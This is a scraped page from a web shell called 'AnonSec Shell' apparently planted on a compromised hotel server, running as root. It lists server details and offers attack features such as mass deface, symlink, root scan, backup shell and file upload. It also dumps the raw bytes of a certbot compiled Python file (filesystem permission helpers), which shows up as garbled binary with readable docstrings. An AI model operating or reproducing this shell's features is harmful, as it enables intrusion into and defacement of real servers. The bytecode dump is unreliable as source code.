AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/certbot/compat/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/certbot/compat/__pycache__/filesystem.cpython-310.pyc
o

6��a�s�@s�dZddlmZddlZddlZddlZddlZddlmZzddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZWneyGdZYnwdZGdd�d�Ze�Zd	ed
eddfdd
�Zdedefdd�Zdeded
edededdfdd�Z	dRdededededdf
dd�Zd	ed
edefdd�Zd	edefdd�Zd	ed
edefdd�ZdSd	ed ed
edefd!d"�ZdSd	ed
eddfd#d$�ZdSd	ed
eddfd%d&�Z dededdfd'd(�Z!d	edefd)d*�Z"d+edefd,d-�Z#d.edefd/d0�Z$d.edefd1d2�Z%d3ed4edefd5d6�Z&d7ed8edefd9d:�Z'd.ed;edefd<d=�Z(d>d?�Z)d@dA�Z*dTdBdC�Z+dDdE�Z,dFdG�Z-dHdI�Z.dJdK�Z/dLdM�Z0dNdO�Z1dPdQ�Z2dS)Uz;Compat module to handle files security on Windows and Linux�)�absolute_importN)�ListTFc@seZdZdZdd�ZdS)�
_WindowsUmaskz+Store the current umask to apply on WindowscCs
d|_dS)N�)�mask)�self�r�;/usr/lib/python3/dist-packages/certbot/compat/filesystem.py�__init__s
z_WindowsUmask.__init__N)�__name__�
__module__�__qualname__�__doc__r
rrrr	rsr�	file_path�mode�returncCs"tr
t�||�dSt||�dS)a[
    Apply a POSIX mode on given file_path:

      - for Linux, the POSIX mode will be directly applied using chmod,
      - for Windows, the POSIX mode will be translated into a Windows DACL that make sense for
        Certbot context, and applied to the file using kernel calls.

    The definition of the Windows DACL that correspond to a POSIX mode, in the context of Certbot,
    is explained at https://github.com/certbot/certbot/issues/6356 and is implemented by the
    method `_generate_windows_flags()`.

    :param str file_path: Path of the file
    :param int mode: POSIX mode to apply
    N)�
POSIX_MODE�os�chmod�_apply_win_mode�rrrrr	r&srrcCstrt�|�Stj}|t_|S)a$
    Set the current numeric umask and return the previous umask. On Linux, the built-in umask
    method is used. On Windows, our Certbot-side implementation is used.

    :param int mask: The user file-creation mode mask to apply.
    :rtype: int
    :return: The previous umask value.
    )rr�umask�_WINDOWS_UMASKr)r�previous_umaskrrr	r;s
	
r�src�dst�	copy_user�
copy_groupcCsVtrt�|�}|r|jnd}|r|jnd}t�|||�n|r$t||�t||�dS)a�
    Copy ownership (user and optionally group on Linux) from the source to the
    destination, then apply given mode in compatible way for Linux and Windows.
    This replaces the os.chown command.

    :param str src: Path of the source file
    :param str dst: Path of the destination file
    :param int mode: Permission mode to apply on the destination file
    :param bool copy_user: Copy user if `True`
    :param bool copy_group: Copy group if `True` on Linux (has no effect on Windows)
    ���N)rr�stat�st_uid�st_gid�chown�_copy_win_ownershipr)rrrrr�stats�user_id�group_idrrr	�copy_ownership_and_apply_modeUs

r'cCsdtr$t�|�}|r|jnd}|r|jnd}t�|||�t||j�dS|r+t||�t	||�dS)aU
    Copy ownership (user and optionally group on Linux) and mode/DACL
    from the source to the destination.

    :param str src: Path of the source file
    :param str dst: Path of the destination file
    :param bool copy_user: Copy user if `True`
    :param bool copy_group: Copy group if `True` on Linux (has no effect on Windows)
    rN)
rrrr r!r"r�st_moder#�_copy_win_mode)rrrrr$r%r&rrr	�copy_ownership_and_modevs

r*cCs$tr
t�t�|�j�|kSt||�S)aa
    Check if the given mode matches the permissions of the given file.
    On Linux, will make a direct comparison, on Windows, mode will be compared against
    the security model.

    :param str file_path: Path of the file
    :param int mode: POSIX mode to test
    :rtype: bool
    :return: True if the POSIX mode matches the file permissions
    )rr�S_IMODErr(�_check_win_moderrrr	�
check_mode�s
r-cCs8trt�|�jt��kSt�|tj�}|��}t	�|kS)z�
    Check if given file is owned by current user.

    :param str file_path: File path to check
    :rtype: bool
    :return: True if given file is owned by current user, False otherwise.
    )
rrrr �getuid�
win32security�GetFileSecurity�OWNER_SECURITY_INFORMATION�GetSecurityDescriptorOwner�_get_current_user)r�security�userrrr	�check_owner�s

r6cCst|�ot||�S)z�
    Check if given file has the given mode and is owned by current user.

    :param str file_path: File path to check
    :param int mode: POSIX mode to check
    :rtype: bool
    :return: True if file has correct mode and owner, False otherwise.
    )r6r-rrrr	�check_permissions�s	r7��flagsc

Cs>tr	t�|||�S|tj@r�|tj@rtjntj}t�	�}|j
}t�}t||t
j�}|�|d�|�d|d�d}zDzt�|tjtjtj@||dd�}Wn)tjyu}	z|	jtjkrbttj|	j��|	jtjkrottj|	j��|	�d}	~	wwW|r}|� �n|r�|� �wwt�||tjAtjA�St�||�}t!||�|S)aw
    Wrapper of original os.open function, that will ensure on Windows that given mode
    is correctly applied.

    :param str file_path: The file path to open
    :param int flags: Flags to apply on file while opened
    :param int mode: POSIX mode to apply on file when opened,
        Python defaults will be applied if ``None``
    :returns: the file descriptor to the opened file
    :rtype: int
    :raise: OSError(errno.EEXIST) if the file already exists and os.O_CREAT & os.O_EXCL are set,
            OSError(errno.EACCES) on Windows if the file already exists and is a directory, and
            os.O_CREAT is set.
    r�N)"rr�open�O_CREAT�O_EXCL�win32con�
CREATE_NEW�
CREATE_ALWAYSr/�SECURITY_ATTRIBUTES�SECURITY_DESCRIPTORr3�_generate_daclrr�SetSecurityDescriptorOwner�SetSecurityDescriptorDacl�	win32file�
CreateFile�GENERIC_READ�FILE_SHARE_READ�FILE_SHARE_WRITE�
pywintypes�error�winerror�ERROR_FILE_EXISTS�OSError�errno�EEXIST�strerror�ERROR_SHARING_VIOLATION�EACCES�Closer)
rr9r�disposition�
attributesr4r5�dacl�handle�errrrr	r;�sF


������
�
r;cCsrtd�}z/t|d|AB�trt�||�Wt|�Stj}ztt_t�||�W|t_Wt|�S|t_wt|�w)a4
    Rewrite of original os.makedirs function, that will ensure on Windows that given mode
    is correctly applied.

    :param str file_path: The file path to open
    :param int mode: POSIX mode to apply on leaf directory when created, Python defaults
                     will be applied if ``None``
    rr8)rrr�makedirs�mkdir)rr�
current_umask�
orig_mkdir_fnrrr	r[s	
�
�
r[c
Cs�trt�||�St��}|j}t�}t||tj	�}|�
|d�|�d|d�z	t�
||�WdStjyN}z|jtjkrHttj|j||j��|�d}~ww)a,
    Rewrite of original os.mkdir function, that will ensure on Windows that given mode
    is correctly applied.

    :param str file_path: The file path to open
    :param int mode: POSIX mode to apply on directory when created, Python defaults
                     will be applied if ``None``
    Fr:rN)rrr\r/rArBr3rCrrrDrErF�CreateDirectoryrKrLrM�ERROR_ALREADY_EXISTSrOrPrQrR)rrrWr4r5rXrZrrr	r\$s"	���r\cCs.ttd�rttd�||�dSt�||�dS)z�
    Rename a file to a destination path and handles situations where the destination exists.

    :param str src: The current file path.
    :param str dst: The new file path.
    �replaceN)�hasattrr�getattr�rename)rrrrr	raCs
racCs�|}ts	tjdkrtj�|�}tj�|�rtd�|���|Sg}tj�|�rT|}t�	|�}tj�
|�s>tj�tj�|�|�}||vrItd�|���|�
|�tj�|�s&tj�|�S)a 
    Find the real path for the given path. This method resolves symlinks, including
    recursive symlinks, and is protected against symlinks that creates an infinite loop.

    :param str file_path: The path to resolve
    :returns: The real path for the given path
    :rtype: str
    )��zError, link {0} is a loop!)r�sys�version_infor�path�realpath�islink�RuntimeError�format�readlink�isabs�join�dirname�append�abspath)r�
original_pathri�inspected_paths�	link_pathrrr	rjTs"	

�	rjrvcCs<t�|�}ts|�d�s|St|�dkr|dd�Std��)a
    Return a string representing the path to which the symbolic link points.

    :param str link_path: The symlink path to resolve
    :return: The path the symlink points to
    :returns: str
    :raise: ValueError if a long path (260> characters) is encountered on Windows
    z\\?\i�Nz3Long paths are not supported by Certbot on Windows.)rrnr�
startswith�len�
ValueError)rvrirrr	rnvs
		rnricCs&trtj�|�ot�|tj�St|�S)z�
    Is path an executable file?

    :param str path: path to test
    :return: True if path is an executable file
    :rtype: bool
    )rrri�isfile�access�X_OK�_win_is_executable)rirrr	�
is_executable�srcCsVtrtt�t�|�j�tj@�St�|tj	�}|�
�}t|�tjtj
t�d�d���S)z�
    Check if everybody/world has any right (read/write/execute) on a file given its path.

    :param str path: path to test
    :return: True if everybody/world has any right to the file
    :rtype: bool
    �S-1-1-0��TrusteeForm�TrusteeType�
Identifier)r�boolrr+rr(�S_IRWXOr/r0�DACL_SECURITY_INFORMATION�GetSecurityDescriptorDacl�GetEffectiveRightsFromAcl�TRUSTEE_IS_SID�TRUSTEE_IS_USER�ConvertStringSidToSid)rir4rXrrr	�has_world_permissions�s
�r��old_key�	base_modecCs:trt�t�|�j�tjtjBtjBtjB@}||BS|S)a
    Calculate the POSIX mode to apply to a private key given the previous private key.

    :param str old_key: path to the previous private key
    :param int base_mode: the minimum modes to apply to a private key
    :return: the POSIX mode to apply
    :rtype: int
    )	rrr+rr(�S_IRGRP�S_IWGRP�S_IXGRP�S_IROTH)r�r��old_moderrr	�compute_private_key_mode�s	�r��path1�path2cCsdtrt�|�}t�|�}|j|jf|j|jfkSt�|tj�}|��}t�|tj�}|��}||kS)as
    Return True if the ownership of two files given their respective path is the same.
    On Windows, ownership is checked against owner only, since files do not have a group owner.

    :param str path1: path to the first file
    :param str path2: path to the second file
    :return: True if both files have the same ownership, False otherwise
    :rtype: bool

    )	rrrr r!r/r0r1r2)r�r��stats1�stats2�	security1�user1�	security2�user2rrr	�has_same_ownership�s

r��min_modecCs�trt�|�j}|||BkSt|�}t�|tjtjB�}|�	�}|�
�}t||�}t|�
��D]#}|�|�}|d}	|d}|�tjtj|d��}
|
|
|	BkrRdSq/dS)a�
    Check if a file given its path has at least the permissions defined by the given minimal mode.
    On Windows, group permissions are ignored since files do not have a group owner.

    :param str path: path to the file to check
    :param int min_mode: the minimal permissions expected
    :return: True if the file matches the minimal permissions expectations, False otherwise
    :rtype: bool
    r:�r�FT)rrrr(rjr/r0r1r�r2r�rC�range�GetAceCount�GetAcer�r�r�)rir�r(r4r5rX�min_dacl�index�min_acer�effective_maskrrr	�has_min_permissions�s.
�

��r�cCsNtj�|�sdSt�|tj�}|��}|�tjtj	t
�d��}|tj@tjkS)NFr�)
rrir{r/r0r�r�r�r�r�r3�
ntsecuritycon�FILE_GENERIC_EXECUTE)rir4rXrrrr	r~s�r~cCsJt|�}t�|tj�}|��}t||�}|�d|d�t�|tj|�dS)z�
    This function converts the given POSIX mode into a Windows ACL list, and applies it to the
    file given its path. If the given path is a symbolic link, it will resolved to apply the
    mode on the targeted file.
    r:rN)	rjr/r0r1r2rCrE�SetFileSecurityr�)rrr4r5rXrrr	r&s
rcCs�|r|d|@}t|�}t�d�}t�d�}t�d�}t��}|||fvr5t|d�}|r5|�tj||�t|d�}	|	rE|�tj|	|�tdddd��}
|�tj|
|�|�tj|
|�|S)	Nr8zS-1-5-18zS-1-5-32-544r�r5�allT��read�write�execute)�
_analyze_moder/r��ACL�_generate_windows_flags�AddAccessAllowedAce�ACL_REVISION)�user_sidrr�analysis�system�admins�everyonerX�
user_flags�everybody_flags�full_permissionsrrr	rC9s$


rCcCs>|tj@|tj@|tj@d�|tj@|tj@|tj@d�d�S)Nr�)r5r�)r�S_IRUSR�S_IWUSR�S_IXUSRr��S_IWOTH�S_IXOTH)rrrr	r�]s���r�cCsLt|�}t�|tj�}|��}t�|tj�}|�|d�t�|tj|�dS�NF)rjr/r0r1r2rDr�)rr�security_src�user_src�security_dstrrr	r#lsr#cCsNt|�}t�|tj�}|��}t�|tj�}|�d|d�t�|tj|�dS)Nr:r)rjr/r0r�r�rEr�)rrr�rXr�rrr	r){sr)cCsJd}|dr|tjB}|dr|tjtjAtjAB}|dr#|tjB}|S)Nrr�r�r�)r��FILE_GENERIC_READ�FILE_ALL_ACCESSr�)�rights_desc�flagrrr	r��s
��
r�cCsHt|�}t�|tjtjB�}|��}|��}|sdSt||�}t||�Sr�)	rjr/r0r1r�r�r2rC�_compare_dacls)rrr4rXr5�ref_daclrrr	r,�s
�

r,cs4�fdd�t����D��fdd�t����D�kS)z�
    This method compare the two given DACLs to check if they are identical.
    Identical means here that they contains the same set of ACEs in the same order.
    c�g|]}��|��qSr�r���.0r�)�dacl1rr	�
<listcomp>��z"_compare_dacls.<locals>.<listcomp>cr�rr�r�)�dacl2rr	r��r�)r�r��r�r�rr�r	r��s�r�cCs$d�t��t���}t�d|�dS)z=
    Return the pySID corresponding to the current user.
    z{0}\{1}Nr)rm�win32api�
GetDomainName�GetUserNamer/�LookupAccountName)�account_namerrr	r3�sr3)TT)r8)N)3r�
__future__rrPrrrg�typingrr�r/r>r�rFrKrM�ImportErrorrrr�str�intrrr�r'r*r-r6r7r;r[r\rarjrnrr�r�r�r�r~rrCr�r#r)r�r,r�r3rrrr	�<module>s|���
�"���
�E ""-
$
	

Anon7 - 2022
AnonSec Team